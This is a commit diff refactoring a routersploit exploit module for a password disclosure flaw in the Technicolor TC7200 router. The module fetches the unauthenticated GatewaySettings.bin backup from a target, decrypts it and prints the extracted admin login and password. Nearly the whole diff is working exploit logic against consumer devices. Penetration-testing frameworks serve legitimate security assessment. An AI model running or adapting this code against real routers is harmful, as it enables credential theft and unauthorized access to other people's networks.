TC7200 password disclosure v2 : minor refactor

routersploit/modules/exploits/technicolor/tc7200_password_disclosure_v2.py

@@ -38,25 +38,23 @@ class Exploit(exploits.Exploit):
     port = exploits.Option(80, 'Target Port')
 
     def run(self):
-        url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port)
+        if self.check():
+            print_success("Target is vulnerable")
 
+            url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port)
             response = http_request(method="GET", url=url)
-        if response is None:
-            return
 
-        if response.status_code == 200 and "MLog" in response.text:
+            if response is not None and response.status_code == 200 and "MLog" in response.text:
                 print_status("Reading GatewaySettings.bin...")
 
                 plain = self.decrypt_backup(response.text)
-            (name, pwd) = self.parseBackup(plain)
+                name, pwd = self.parse_backup(plain)
 
-            if len(name) or len(pwd):
                 print_success('Exploit success! login: {}, password: {}'.format(name, pwd))
             else:
-                print_error('Exploit failed. Unable to decrypt config file.')
+                print_error("Exploit failed. Could not extract config file.")
         else:
-            print_error("Exploit failed. Device seems to be not vulnerable.")
-
+            print_error("Target is not vulnerable")
     @staticmethod
     def parse_backup(backup):
         p = backup.find('MLog')